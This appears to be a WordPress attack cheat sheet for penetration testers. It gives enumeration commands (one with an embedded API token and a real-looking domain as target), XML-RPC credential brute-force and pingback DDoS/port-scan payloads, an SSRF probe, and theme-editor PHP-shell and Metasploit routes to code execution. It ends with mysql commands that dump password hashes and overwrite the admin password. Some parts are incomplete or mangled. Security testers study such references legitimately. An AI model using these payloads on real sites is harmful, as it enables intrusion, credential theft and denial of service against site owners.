Wordpress

Basic Information

Uploaded files go to: http://10.10.10.10/wp-content/uploads/2018/08/a.txt Themes files can be found in /wp-content/themes/, so if you change some php of the theme to get RCE you probably will use that path. For example: **Using theme twentytwelve you can access the 404.php file in: [/wp-content/themes/twentytwelve/404.php](http://10.11.1.234/wp-content/themes/twentytwelve/404.php) Another useful url could be: [/wp-content/themes/default/404.php*](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)\***

In wp-config.php you can find the root password of the database.

Default login paths to check: /wp-login.php, /wp-login/, /wp-admin/, /wp-admin.php, /login/

Enumeration

cmsmap -s http://www.48pallmall.com -t 2 -a "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0"
wpscan --rua -e ap --url http://www.domain.com --api-token qNzF78w2S7s8QarQ2ISZbNR2Gq4FOmJV05HGjwvRMlM --passwords /usr/share/wordlists/external/SecLists/Passwords/probable-v2-top1575.txt #Brute force found users and search for vulnerabilities using a free API token (up 50 searchs)
#You can try to bruteforce the admin user using wpscan with "-U admin"

Information Disclosure

Inside the Wordpress folder try to access:

• /wp-json/wp/v2/users -- This could leak usernames

• /wp-json/wp/v2/pages -- This could leak IP address

XML-RPC

If xml-rpc.php is active you can perform a credentials brute-force or use it to launch DoS attacks to other resources.

To see if it is active try to access to /xmlrpc.php and send this request:

Check

<methodCall>
<methodName>system.listMethods</methodName>
<params></params>
</methodCall>

Credentials Bruteforce

wp.getUserBlogs, wp.getCategories or metaWeblog.getUsersBlogs are some of the methods that can be used to brute-force credentials. If you can find any of them you can send something like:

<methodCall>
<methodName>wp.getUsersBlogs</methodName>
<params>
<param><value>admin</value></param>
<param><value>pass</value></param>
</params>
</methodCall>

The message "Incorrect username or password" inside a 200 code response should appear if the credentials aren't valid.

Also there is a faster way to brute-force credentials using system.multicall as you can try several credentials on the same request:

DDoS or port scanning

If you can find the method pingback.ping inside the list you can make the Wordpress send an arbitrary request to any host/port. This can be used to ask thousands of Wordpress sites to access one location (so a DDoS is caused in that location) or you can use it to make Wordpress lo scan some internal network (you can indicate any port).

<methodCall>
<methodName>pingback.ping</methodName>
<params><param>
<value><string>http://<YOUR SERVER >:<port></string></value>
</param><param><value><string>http://<SOME VALID BLOG FROM THE SITE ></string>
</value></param></params>
</methodCall>

If you get faultCode with **a value greater then 0** (17), it means the port is open.

Take a look to the use of system.multicallin the previous section to learn how to abuse this method to cause DDoS.

wp-cron.php DoS

This file usually exists under the root of the Wordpress site: /wp-cron.php When this file is accessed a "heavy" MySQL query is performed, so I could be used by attackers to cause a DoS. Also, by default, the wp-cron.php is called on every page load (anytime a client requests any Wordpress page), which on high-traffic sites can cause problems (DoS).

It is recommended to disable Wp-Cron and create a real cronjob inside the host that perform the needed actions in a regular interval (without causing issues).

Bruteforce

<methodCall>
<methodName>wp.getUsersBlogs</methodName>
<params>
<param><value>username</value></param>
<param><value>password</value></param>
</params>
</methodCall>

Using the correct credentials you can upload a file. In the response the path will appears (https://gist.github.com/georgestephanis/5681982)

<?xml version='1.0' encoding='utf-8'?>
<methodCall>
    <methodName>wp.uploadFile</methodName>
    <params>
        <param><value><string>1</string></value></param>
        <param><value><string>username</string></value></param>
        <param><value><string>password</string></value></param>
        <param>
            <value>
                <struct>
                    <member>
                        <name>name</name>
                        <value><string>filename.jpg</string></value>
                    </member>
                    <member>
                        <name>type</name>
                        <value><string>mime/type</string></value>
                    </member>
                    <member>
                        <name>bits</name>
                        <value><base64><![CDATA[---base64-encoded-data---]]></base64></value>
                    </member>
                </struct>
            </value>
        </param>
    </params>
</methodCall>

DDOS

<methodCall>
    <methodName>pingback.ping</methodName>
    <params>
        <param><value><string>http://target/</string></value></param>
        <param><value><string>http://yoursite.com/and_some_valid_blog_post_url</string></value></param>
    </params>
</methodCall>

/wp-json/oembed/1.0/proxy - SSRF

Try to access https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net and the Worpress site may make a request to you.

This is the response when it doesn't work:

SSRF

https://github.com/t0gu/quickpress/blob/master/core/requests.gogithub.com

This tool checks if the methodName: pingback.ping and for the path /wp-json/oembed/1.0/proxy and if exists, it tries to exploit them.

Panel RCE

Modifying a php from the theme used (admin credentials needed)

Appearance → Editor → 404 Template (at the right)

Change the content for a php shell:

Search in internet how can you access that updated page. In thi case you have to access here: http://10.11.1.234/wp-content/themes/twentytwelve/404.php

MSF

You can use:

use exploit/unix/webapp/wp_admin_shell_upload

to get a session.

POST

Extract usernames and passwords:

mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;select concat_ws(':', user_login, user_pass) from wp_users;"

Change admin password:

mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;UPDATE wp_users SET user_pass=MD5('hacked') WHERE ID = 1;"

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